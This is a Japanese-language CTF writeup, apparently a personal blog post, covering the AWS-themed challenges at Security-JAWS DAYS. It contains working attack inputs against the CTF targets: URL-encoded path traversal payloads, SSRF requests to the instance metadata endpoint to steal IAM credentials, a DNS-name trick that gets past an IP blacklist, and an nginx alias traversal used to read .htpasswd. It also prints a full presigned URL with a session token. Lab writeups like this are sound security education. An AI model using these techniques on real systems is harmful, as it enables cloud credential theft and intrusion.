Security-JAWS DAYS AWS CTF Writeup

所感

Security-JAWS DAYS AWS CTFに参加してきまして、4/97位でした。

問題は数が多く、幅広い難易度、問われる知識も多く、初心者から経験者まで多くの方が楽しめるイベントだったと思います。(作問者さんすげー)

個人的にはTOP3に入れなかったのが悔しいですが、Hard問のFirst bloodを取れたので悔いはありません!

以下、Writeupです。

Warmup

AWS CLI practice

アクセスキーIDとシークレットアクセスキーが渡され、アカウントIDを提出する問題です。

aws configureでもらった資格情報をプロフィールに設定し、aws sts get-caller-identityを使用することでアカウントIDが取得できます。

Run function

アクセスキーIDとシークレットアクセスキーが渡されます。 問題名からlambdaに関する問題だとわかりました。

とりあえずaws configureします。

ユーザー名を取得します。ctf_challenge_6というユーザーでした。

ctf_challenge_6に割り当てられたポリシーを確認するとrunlambdaというポリシーが存在します。

ポリシーの詳細を確認すると、run_meというリソースに対してlambda:InvokeFunctionが許可されています。

関数を実行し、出力を確認すると「ログを見ろ」と言われています。

もう一度関数を実行し、今度は--log-type Tailを指定し、ログを表示します。

表示されたBase64文字列をデコードするとフラグが取得できます。

Find data 1

問題文からS3の問題ということがわかります。

また、今回はAWSコンソールを使用する問題のようです。

サインインURLにアクセスし、もらった資格情報でログインします。

S3のバケットを探索するとhimituno-bucket1の中にFLAGというオブジェクトがあることに気づきました。

ダウンロードするとフラグが記載されています。

Find data 2

Find data 1と同じS3問題のようです。

アクセスキーIDとシークレットアクセスキーが渡されますのでとりあえずaws configureします。

アクセスできるバケットを列挙しているとhimituno-bucket2SECRETというディレクトリが存在していることがわかりました。

SECRET/以下を表示すると、1000個近くのディレクトリが存在していました。

aws s3 syncでローカルに全てのファイルをコピーします。

適当なディレクトリを除くとハズレが表示されたのであたりのディレクトリを探す必要があるようです。

ファイルサイズでソートすると444ディレクトリだけサイズが異なります。 (公式Writeupを見るとaws s3 lsだけでサイズが違うファイルを見つけることができるようでした…)

aws s3 ls "s3://himituno-bucket2/SECRET/" --recursive --human --sum --profile jaws2 | awk -F ' +' '{printf "%s%s %s\n",$3,$4,$5}' | sort -n -r | head -n10

※ 正解のディレクトリが444なのは、ぱちんこ海物語シリーズでサメ図柄が揃うと444だから、だそうです。 ラウンド数が少なかったり時短だったりしょっぱい図柄ですね。

正解のディレクトリの中にフラグが書かれた画像がありました。

Show IAM policy

ポリシーについての問題です。実はWarmup問題でこれだけ解けませんでした。

ただ学ぶことがあったので書きます。

アクセスキーIDとシークレットアクセスキーが渡されますのでとりあえずaws configureします。

ユーザー名を取得します。

ここから、aws iam list-user-policiesaws iam list-attached-user-policiesなどを利用してポリシーを確認しようとしましたが、ポリシーが存在せず、お手上げとなりました。

公式のWriteupを確認するとポリシーはIAMユーザーには直接アタッチされておらずグループにアタッチされているとあり、ほぇ〜となりました。

まず、aws iam list-groups-for-userでユーザーが所属するグループを確認します。

selfcheckというポリシーがあたっていることが確認できます。

ポリシーの詳細を確認するとSidBase64っぽい文字列が入っているのでデコードするとフラグが得られます。

Where is the password?

AWSコンソールを利用する問題です。

問題文からSecretManagerの問題っぽいことがわかりました。

与えられた資格情報でAWSコンソールにログインします。

Secret Managerにアクセスすると、一つだけシークレットが存在していました。

シークレットの値を取得するとそれがフラグになっています。

Easy

Recon the website

Webサイトを列挙してフラグを取得する問題です。

Webサイトにアクセスしてみますが特に機能と言った機能は無いようです。

静的サイトのようでしたので、静的サイト→S3?となり、WebサイトのURLをS3バケット名としてアクセスしてみると、ディレクトリが表示され、FLAGファイルが見えました。

アクセスするとFLAGファイルがダウンロードでき、中にフラグが記載されていました。

Find data 3

S3問題の3問目です。

アクセスキーIDとシークレットアクセスキーが渡されますのでとりあえずaws configureします。

himituno-bucket3というバケットreadme.txtが存在していることがわかりました。

readme.txtをダウンロードして内容を確認すると、「S3に重要情報を置いてたけど削除しました。」という旨のメッセージでした。

ここで解法として浮かんだのがS3のバージョニングでした。

aws s3api list-object-versionsを使用してオブジェクトのバージョンを表示するとSECRET_DATAという削除マーカーが付与されたオブジェクトが存在することに気づきました。

あとはaws s3api get-objectでバージョンIDを指定してオブジェクトをダウンロードするだけです。

u nix Path?

問題文から署名付きURLに関する問題だと推測しました。

サイトを確認すると、3つのファイルをダウンロードする機能がありました。

Downloadボタンをクリックした時に発生するリクエストは以下の2つでした。

GET /v1/api/file/README.md

GET /public/README.md

1つ目のリクエストで署名付きURLを生成し、2つめのリクエストで署名付きURLにアクセスする、といった流れのようでした。

署名付きURLに関する脆弱性でパッと浮かんだのはパスの生成が不適切で誤ったパスへの署名付きURLを生成することです。

試しに以下のようなパスへリクエストを送信してみると、署名付きURLはroot以下のtestを参照するように出力されました。

/v1/api/file/README.md%2f%2e%2e%2f%2e%2e%2ftest

なので、/v1/api/file/README.md%2f%2e%2e%2f%2e%2e%2fprivate%2fflagに対してアクセスすると/private/flagへの署名付きURLが得られます。

あとはこのURLにアクセスするとフラグが取得できます。

後で気づいたんですが、ダウンロードできるファイルに色々ヒントなどがあったみたいです。

完全に推測で動き出してしまったのが良くなかったですね。

Get Provision

インスタンスのプロビジョニングデータを取得する問題です。

Webサイトにアクセスすると、URLを入力して結果を表示するサイトでした。

これはSSRFからのIMDSアクセスだろうと気づきます。

169.254.169.254にアクセスすると結果が表示されますのでリクエストに成功したことがわかります。

色々探索した結果、/latest/user-dataにフラグがありました。

Medium

Get Access Key

解けたんですが、時間切れでフラグが提出できませんでした。

アクセスキーを取得する問題です。

サイトにアクセスするとGet Provisionとほぼ同じ構成のサイトであることがわかります。

Get Provisionと同じ要領でSSRFしようとするとフロント側でフィルターが存在するようでした。

pattern属性を外してhttp://169.254.169.254/latestにアクセスするとサーバー側でもフィルターが存在するようでした。 ご丁寧にブラックリストが表示されるのでこれをバイパスできるホスト名、IPを探します。

ちょうど、CTFチームのDiscordでns-gcp-private.googledomains.comを正引きすると169.254.169.254になるという知識があったのでこれを使用しました。

フィルターをバイパスできたのでアクセスキーを取りに行きます。

取得したクレデンシャルを設定します。IAM Roleを設定するのでTOKENも含めます。

(今思うと環境変数より~/.aws/credentialsに設定するほうが楽ですね…)

ここからの解法がわからず長いこと悩んでいたのですが、サイトにDynamoDBとあったことを思い出し、DynamoDBのテーブルをリストすると一つのテーブルが存在することがわかりました。

(このへんで時間切れになったと思います…)

テーブルをスキャンするとフラグが表示されました。

Hard

AWS Pentesting Journey

First bloodを取れた問題です。

複合的な知識を使う必要がありました。

大まかな手順を先に示しますが以下のような流れで攻略していきました。

  1. Nginxの設定不備によるパストラバーサルを利用して.htpasswdの内容を取得する
  2. .htpasswdに記載されたハッシュをクラックする
  3. クラックした資格情報でBasic認証をパスし、管理画面にアクセスする
  4. 管理画面のProxy機能を利用したSSRFでアクセスキーを取得する
  5. アクセスキーを利用して、lamdaにアクセスする
  6. lambdaのバージョニングされた古いFunctionからハードコードされた認証情報を見つける
  7. 取得した認証情報でphpMyAdminにアクセスし、フラグを取得するSQLを実行する

順番に見ていきます。

まず、問題として、以下のようなnginx.confが与えられます。

server {
        listen 80 default_server;
        listen [::]:80 default_server;

        root /var/www/html;

        index index.html index.htm index.nginx-debian.html index.php;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 
        }

        location /assets {
                alias /usr/share/static/;
        }

        location /admin/ {
                auth_basic "Restricted";
                auth_basic_user_file /usr/share/secret/.htpasswd;

                location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ {
                        proxy_pass http://$proxy_host/$proxy_path;
                        proxy_set_header Host $proxy_host;
                }
        }
}

この設定ファイルを見るとlocation /assetsの部分が/で終端していないため、/assets../secret/.htpasswdとすることで.htpasswdにアクセスできることがすぐにわかります。

github.com

またnginx.confから、Basic認証のかかった管理画面にProxy機能っぽいものがあるため、SSRFでアクセスキーを取るんだろうなという推測ができます。

なので、まず.htpasswdを取得します。

パスワードの方はハッシュ化されているようだったのでJohnでクラックしていきます。

Basic認証の資格情報が手に入ったので管理者画面にアクセスします。

IMDSにアクセスできました。

アクセスキーを取得します。

/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1

~/.aws/credentialsにクレデンシャルを設定します。

しばらく列挙をしていたところ、S3のbackup-37szjp8pny7xx01というバケットにアクセスでき、データベースのバックアップのようなものが見えました。

とりあえず全てのファイルをローカルに持ってきました。

そのうちのCSVファイルはdboperatorユーザーのアクセスキーが記載されていました。

とりあえずaws configureします。

ポリシーを確認するためaws iam list-attached-user-policiesを使用するとdboperatorというポリシーの存在が確認できました。

aws iam get-policy-versionでポリシーの内容を確認するために必要なVersionIdをaws iam get-pocicyで取得します。

取得したVersionIdを指定してaws iam get-policy-versionを実行します。

するとdb-buckup(タイポ?)というFunctionの実行権限があることが確認できます。

この関数は名の通りDBのバックアップを行う関数のようですが、バックアップをしたデータ自体には重要な情報は含まれていませんでした。

ここでだいぶ時間を溶かしましたが、lambdaのFunctionに複数のバージョンが存在することに気づきました。

rikoteki@kali:~/test3
➤ aws lambda list-versions-by-function --function-name db-buckup --profile dboperator                                14:06
{
    "Versions": [
        {
            "FunctionName": "db-buckup",
            "FunctionArn": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup:$LATEST",
            "Runtime": "nodejs16.x",
            "Role": "arn:aws:iam::055450064556:role/service-role/db-buckup-role-pfcx4tak",
            "Handler": "index.handler",
            "CodeSize": 1738324,
            "Description": "",
            "Timeout": 10,
            "MemorySize": 128,
            "LastModified": "2023-08-13T17:46:30.000+0000",
            "CodeSha256": "tvg1Tv8vAuc7PBV1Slf+LnVPxoZ1RRzCpB1H3fKAVOU=",
            "Version": "$LATEST",
            "VpcConfig": {
                "SubnetIds": [
                    "subnet-0c623137b8878ec48"
                ],
                "SecurityGroupIds": [
                    "sg-052bdaf7b4fc1e9fe"
                ],
                "VpcId": "vpc-0130f67a6fac3ed45"
            },
            "Environment": {
                "Error": {
                    "ErrorCode": "AccessDeniedException",
                    "Message": "Lambda was unable to decrypt your environment variables because the KMS access was denied. Please check your KMS permissions. KMS Exception: AccessDeniedException KMS Message: User: arn:aws:iam::055450064556:user/dboperator is not authorized to perform: kms:Decrypt on resource: arn:aws:kms:ap-northeast-1:055450064556:key/d6ecc772-b4b6-4cac-88fd-47a745c279f6 because no identity-based policy allows the kms:Decrypt action"
                }
            },
            "KMSKeyArn": "arn:aws:kms:ap-northeast-1:055450064556:key/d6ecc772-b4b6-4cac-88fd-47a745c279f6",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "cff7a050-f06b-4462-9aea-ebd63d3099c8",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            }
        },
        {
            "FunctionName": "db-buckup",
            "FunctionArn": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup:1",
            "Runtime": "nodejs16.x",
            "Role": "arn:aws:iam::055450064556:role/service-role/db-buckup-role-pfcx4tak",
            "Handler": "index.handler",
            "CodeSize": 1738107,
            "Description": "first release",
            "Timeout": 10,
            "MemorySize": 128,
            "LastModified": "2023-08-13T17:07:55.000+0000",
            "CodeSha256": "aZkXCiorEVslW/pmOsb+K7/Si4yjZvfSWiUbWN+LokE=",
            "Version": "1",
            "VpcConfig": {
                "SubnetIds": [
                    "subnet-0c623137b8878ec48"
                ],
                "SecurityGroupIds": [
                    "sg-052bdaf7b4fc1e9fe"
                ],
                "VpcId": "vpc-0130f67a6fac3ed45"
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "5b0a3c1a-e0b3-4ce6-9df3-cca5a5987283",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            }
        },
        {
            "FunctionName": "db-buckup",
            "FunctionArn": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup:2",
            "Runtime": "nodejs16.x",
            "Role": "arn:aws:iam::055450064556:role/service-role/db-buckup-role-pfcx4tak",
            "Handler": "index.handler",
            "CodeSize": 1738324,
            "Description": "Implement password encryption",
            "Timeout": 10,
            "MemorySize": 128,
            "LastModified": "2023-08-13T17:46:30.000+0000",
            "CodeSha256": "tvg1Tv8vAuc7PBV1Slf+LnVPxoZ1RRzCpB1H3fKAVOU=",
            "Version": "2",
            "VpcConfig": {
                "SubnetIds": [
                    "subnet-0c623137b8878ec48"
                ],
                "SecurityGroupIds": [
                    "sg-052bdaf7b4fc1e9fe"
                ],
                "VpcId": "vpc-0130f67a6fac3ed45"
            },
            "Environment": {
                "Error": {
                    "ErrorCode": "AccessDeniedException",
                    "Message": "Lambda was unable to decrypt your environment variables because the KMS access was denied. Please check your KMS permissions. KMS Exception: AccessDeniedException KMS Message: User: arn:aws:iam::055450064556:user/dboperator is not authorized to perform: kms:Decrypt on resource: arn:aws:kms:ap-northeast-1:055450064556:key/d6ecc772-b4b6-4cac-88fd-47a745c279f6 because no identity-based policy allows the kms:Decrypt action"
                }
            },
            "KMSKeyArn": "arn:aws:kms:ap-northeast-1:055450064556:key/d6ecc772-b4b6-4cac-88fd-47a745c279f6",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "e0fd892d-78a9-4bdc-919f-399943bd1b3d",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            }
        }
    ]
}

Descriptionを見るとVersion2ではImplement password encryptionと記載されており、Version1との差異が気になるところです。

のでaws lambda get-functionの--function-nameにVersionIdまでを記載して実行します。

rikoteki@kali:~/test3
➤ aws lambda get-function --function-name "db-buckup:1" --profile dboperator                                         14:09
{
    "Configuration": {
        "FunctionName": "db-buckup",
        "FunctionArn": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup:1",
        "Runtime": "nodejs16.x",
        "Role": "arn:aws:iam::055450064556:role/service-role/db-buckup-role-pfcx4tak",
        "Handler": "index.handler",
        "CodeSize": 1738107,
        "Description": "first release",
        "Timeout": 10,
        "MemorySize": 128,
        "LastModified": "2023-08-13T17:07:55.000+0000",
        "CodeSha256": "aZkXCiorEVslW/pmOsb+K7/Si4yjZvfSWiUbWN+LokE=",
        "Version": "1",
        "VpcConfig": {
            "SubnetIds": [
                "subnet-0c623137b8878ec48"
            ],
            "SecurityGroupIds": [
                "sg-052bdaf7b4fc1e9fe"
            ],
            "VpcId": "vpc-0130f67a6fac3ed45"
        },
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "5b0a3c1a-e0b3-4ce6-9df3-cca5a5987283",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:ap-northeast-1::runtime:96f95344fddd7e2267f42f2bcf8be9879aa43babe436b7d63ffe2ff1effeb0de"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-ap-ne-1-tasks.s3.ap-northeast-1.amazonaws.com/snapshots/055450064556/db-buckup-c327446a-406b-481b-8234-70635c542033?versionId=qXI2pBnyn6z1yaP54atZwsshNVS4fx7O&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkgwRgIhANw8jW1D2vJRsAzjA%2BPlpdTYIQdApCxuZmf9mJYTRhEgAiEAnhMUeSZ6Rj07cgFvg6%2FONn6LEeOuqTzpmnz4g%2BJiQpEqygUIhf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAEGgw5MTk5ODA5MjUxMzkiDGsuHoDDYSfI%2BpOQ8CqeBWmUGI2doQw3MciQ9rt2UNW1qZU1WohujZRFGiUiv%2BMRkjpi%2FDZQjODJMtO%2FS4eAoaXDn47FAY8THzaBbkumCF0JkfuLdN%2FfaCjQcXlNyIKr3Cr66wKSMlFkNh2uMf4%2BUcdkhZdH%2BYSEr79bAY%2BIUCHGHq3V4oa6BCOMXj%2BEGa5nfWAcpAtEucmrEsYcjYC0p6EkVdKO%2By4vESdq9ckV3EyrZkGzvGooPZIUGkwgOIWL5BKMJhQuY2Ta%2BBonQpEnvBabWskX8HcmazMs9YP1H3aEbX4k0bB2RZ6Lrg%2Ffvs7h8T6G8M9Je93R29UicOQvmD9gHL7uAv05fPqcRznU%2F4MuipdFcM9q6oz0L%2FzjLPlv1zWFjgWupF%2BJywF90S0XGYp8NvnzatbUINpwSl%2FbEjSKRFJhXkF2LcRfd5IYpvjG2liYoGV8KTVWNVhBy6NjanWzJzQRRsjnhoEkdFy3WqiXtGQH9t1S6l5CC8Vv8qK2QjU8Tp124cblyzBfO1Iu05ra9AbEbdGcPdQ1nKSmiKkyVFJO13tbNfluUm8l0fSqlMoMYKNS21P0zxrjsYWQlePMjAWzKo2Nu7Ygc%2BOH%2FYXF3%2F4U3e1imecDNWWHoMP3EWDnUTAwCBHb%2BoaX7VXdbEnNCdJc%2F%2BWt%2F4e8H%2Ba6W%2FkgNq5ui%2BcJuRZTYauVnKdgcZikrRVsfTluLykGnYs5Desmy3uc68BfDBHlnUG1h43bL828qIOg%2FHIVcxlUxlnomqmI0P0oQZ4m7lEHpKC7wOoZUjwRol3F8N5vQIPK7fRsspGO6Xh%2BhHbo7Jlv9igyIyeS2ylr6rEpnr947zO%2FNmOP2wfUXOT99LSQYboWV6Fyzg5nfMv3WCbZbk1lYAuHyWp7NapHtyYSS6FgI%2BMw56ywpwY6sAF06qpQ%2BAaACyfyqu0kOsDG3nofBpJZZY%2BEzuRfTGewyK5SlsWD5fFOwrvFLH7CCFR3WWazlKWPy10I6XKBioJvexX4NvQh1jIUQ8LGzgFjywspU06WtJTKu9UGmrgv3zEvMQOavujw0ohGN8JZ8p1g%2BaRCtP6YHjgH2GSNi2zox0VS09qAReYv1fGJNgskM%2BTgxfOLh6ix1p8Q9Ls5ZVG11Ywc1mfYZlMTMNyV82nfCw%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230828T050936Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA5MMZC4DJUGSDJVOW%2F20230828%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Signature=9702f45254332a696db7246c98fc8eac6daea06cd6b8bf221da3ddf402ad318d"
    }
}

出力の下部にソースコードが保存されているURLが出力されますのでアクセスして取得してみると、DBへの認証情報がハードコードされていることがわかります。

この認証情報を使用してWebサイトにあるphpMyAdminへアクセスすることが可能でした。

あとはDBを調査してフラグを出力するSQLを実行すればフラグが取得できます。